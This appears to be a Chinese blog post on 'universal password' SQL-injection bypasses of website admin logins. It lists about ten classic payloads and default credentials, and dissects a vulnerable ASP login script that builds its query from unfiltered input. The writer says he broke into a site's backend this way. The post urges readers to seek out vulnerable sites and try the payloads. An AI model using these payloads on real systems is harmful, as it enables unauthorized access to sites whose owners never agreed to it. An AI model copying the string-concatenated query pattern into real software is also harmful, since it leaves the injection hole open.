這萬能密碼好幾年前就有了。我都不當回事,結果這次真派上用場了,還真進了背景了
網站背景萬能密碼就是在使用者名與密碼處都寫入下列字元,如果知道管理者帳号的話直接添帳号,效果會更好!
例如我們要利用第一條就是:
使用者名:"or "a"="a
密碼:"or "a"="a
*********************************************************
1:"or "a"="a
2: '.).or.('.a.'='.a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6:"or 1=1--
7:'or.'a.'='a
8:"or"="a'='a
9:'or''='
10:'or'='or'
原理都是利用SQL文法來利用注入,其實這也是注入的一種,都是因為送出字元未加過濾或過濾不嚴而導緻的.
其實萬能是沒有的,預設是很多的,
admin
admin888
少數ASP網頁後面登陸時可以用密碼1'or'1'='1(使用者名用admin等試)登陸成功。這一般也是SQL注入的第一課,原理涉及到SQL語句……驗證登陸時,如果密碼=輸入的密碼,那麼登陸成功,把1'
or
'1'='1帶入即“如果密碼=1或者1=1那麼登成功”由于1=1恒成立,且“密碼=1”與“1=1”是邏輯或的關系,則整句為TRUE,即登陸成功。這樣說懂不?
其實背景萬能登陸密碼這個稱号真的不那麼專業,或許叫做“背景驗證繞過語句”還好些,不過前者叫得普遍些。
這個語句就是'xor
xor估計很多人都知道,或者聽說過,不就是異或麼,他和or以及and都是一樣的,但是or進行的是或運算,and進行的是與運算,異或xor則是不等的則是真,即比較的兩個值不相同的就對,相同的就錯,我搜了一下網上,幾乎沒有過濾參數,可以用經典'or'='or'進去的,'xor都可以進去,大家可以嘗試一下。
對網站萬能密碼'or'='or'的淺解
'or'='or'漏洞是一個比較老的漏洞了,主要是出現在背景登入上,利用這個漏洞,我們可以不用輸入密碼就直接進入系統的背景.它出現的原因是在程式設計時邏輯上考慮不周,同時對單引号沒有進行過濾,進而導緻了漏洞的出現.先給大家簡單介紹下漏洞的原理吧,隻要大家搞懂了原理,就可以自己去找這樣漏洞的系統了.
1:語句:''or'='or' a'or'1=1-- 'or1=1-- "or1=1-- or1=1-- 'or"="a'='a ') or ('a'='a等等,
2:分析利用:我從站長網站下載下傳了"織夢工作室企業全站程式(原良精)修正美化版"源代碼,從中找到背景登入的頁面"login.asp"其中有以下一段代碼:
<%
(1)pwd = request.form("pwd") "擷取用戶端輸入的密碼,再把值賦給pwd"
(2)name = request.form("name") "擷取用戶端輸入的使用者名再把值賦給name"
都沒有進行任何過濾
(3)Set rs = Server.CreateObject("ADODB.Connection") "利用Server對象的CreateObject方法建立ADO元件的Connection對象"
(4)sql = "select * from Manage_User where UserName='" & name &
"' And PassWord='"&encrypt(pwd)&"'" "将使用者名和密碼放入查詢語句中查詢資料庫"
(5)Set rs = conn.Execute(sql) "執行SQL語句"
(6)If Not rs.EOF = True Then "目前的記錄位于Connection對象的最後一個記錄之前"
(7)Session("Name") = rs("UserName") "将UserName的屬性賦給Name的Session自定義變量"
(8)Session("pwd") = rs("PassWord") "将PassWord的屬性賦給pwd的Session自定義變量"
(9)Response.Redirect("Manage.asp")了 "利用Response對象的Redirect方法重定向"Manage.asp"
(10)Else
(11)Response.Redirect "Loginsb.asp?msg=您輸入了錯誤的帳号或密碼,請再次輸入!"
(12)End If
(13)end if
%>
從這段代碼中,我們可以看到背景是采用"Session"驗證的,大家知道,還有一種是采用"cookie"驗證的,不過原理相同,從分析中,我們可以看到背景登入沒有對客戶輸入的使用者名和密碼進行任何過濾,就交給了SQL語句查詢,如果查詢的記錄是位于最後一條記錄之前,剛設定Session變量UserName,PassWord的值分别為Name,pwd,并重定向到"Manage.asp".
從以上分析中.出現了很大的安全漏洞,問題就出現在第一,第二句,它們的功能是獲得用戶端輸入的使用者名和密碼卻沒有進行任何的過濾,也不會去檢查我們輸入的資料,這樣,我們就可以對其實行攻擊,要實行攻擊這種漏洞的問題關鍵就是使SQL語句的查詢結果為真,這裡我們又要用到or和and的邏輯運算的知識,我這裡不詳細的說,就講二點,
第一:優先原則----出現or同時又出現and時,則先運算and運算符。
第二:and運算符意思,是"且",就是對二個表達式進行邏輯"與"運算(我這兒說的是"且"),而or運算符的意思,是"或",就是對二個表達式進行邏輯"或"運算。
下面是二個運算符的運算結果:
and邏輯運算的結果:真----真===真;假----真===假; 真----假===假; 假----假===假.
or邏輯運算的結果:真----真===真;假----真===真; 真----假===真; 假----假===假.
大家自己可以體會下
下面我們先來看代碼中的SQL查詢語句" sql = "select * from Manage_User where
UserName='" & name & "' And PassWord='"&encrypt(pwd)&"'
"
,要使這條語句執行為真,我們就要構造一個特殊的使用者名,就可繞過程式的驗證,進入背景,我們隻要在使用者名處輸入'or'='or',密碼處随便輸入字元(我們就輸入000吧),這樣上面的SQL語句就變成了sql
= "select * from Manage_User where UserName=''or'='or''and
PassWord='000'"那麼where後的語句轉換成邏輯語句後為假or真or假and假,通過簡單的運算,則最終為真,而SQL語句的查詢結果也變成真了,這樣大家可能還不怎麼聽得懂,我換成另一條語句:1'
or 1=1 or '1'='1,那麼SQL語句就變成了sql = "select * from Manage_User where
UserName='1' or 1=1 or '1'='1' and
PassWord='000'"大家知道,在邏輯表達式中'1'是為假,1=1總為真吧,'1'='1'也為真,而密碼我們是随便輸入的是以為假,那麼where後的語句轉換成邏輯語句後為假or真or真and假,最終的運算結果也為真.這些大家自己慢慢的去實踐,去體會,我相信大家都會搞懂的,大家還可以自己構造一些語句去驗證下.
對于Session驗證的,我們還可以進行Session欺騙(大家都知道cookie欺騙登入了吧,呵呵),假設我們知道這個系統的管理者的使用者名為admin,那麼我們隻需在密碼處輸入的語句使它的運算結果為真就行了,這兒留給大家自己構造.
coolie驗證的登入原理和Session"驗證的相同,隻要大家構造的語句使的SQL的執行為真就行了,這是關鍵喲,大家可記住了!
作 者:Angel_Kitty
出 處:https://www.cnblogs.com/ECJTUACM-873284962/
關于作者:阿裡雲ACE,目前主要研究方向是Web安全漏洞以及反序列化。如有問題或建議,請多多賜教!
版權聲明:本文版權歸作者和部落格園共有,歡迎轉載,但未經作者同意必須保留此段聲明,且在文章頁面明顯位置給出原文連結。
特此聲明:所有評論和私信都會在第一時間回複。也歡迎園子的大大們指正錯誤,共同進步。或者直接私信我
聲援部落客:如果您覺得文章對您有幫助,可以點選文章右下角【推薦】一下。您的鼓勵是作者堅持原創和持續寫作的最大動力!
歡迎大家關注我的微信公衆号IT老實人(IThonest),如果您覺得文章對您有很大的幫助,您可以考慮賞部落客一杯咖啡以資鼓勵,您的肯定将是我最大的動力。thx.

我的公衆号是IT老實人(IThonest),一個有故事的公衆号,歡迎大家來這裡讨論,共同進步,不斷學習才能不斷進步。掃下面的二維碼或者收藏下面的二維碼關注吧(長按下面的二維碼圖檔、并選擇識别圖中的二維碼),個人QQ和微信的二維碼也已給出,掃描下面👇的二維碼一起來讨論吧!!!
歡迎大家關注我的Github,一些文章的備份和平常做的一些項目會存放在這裡。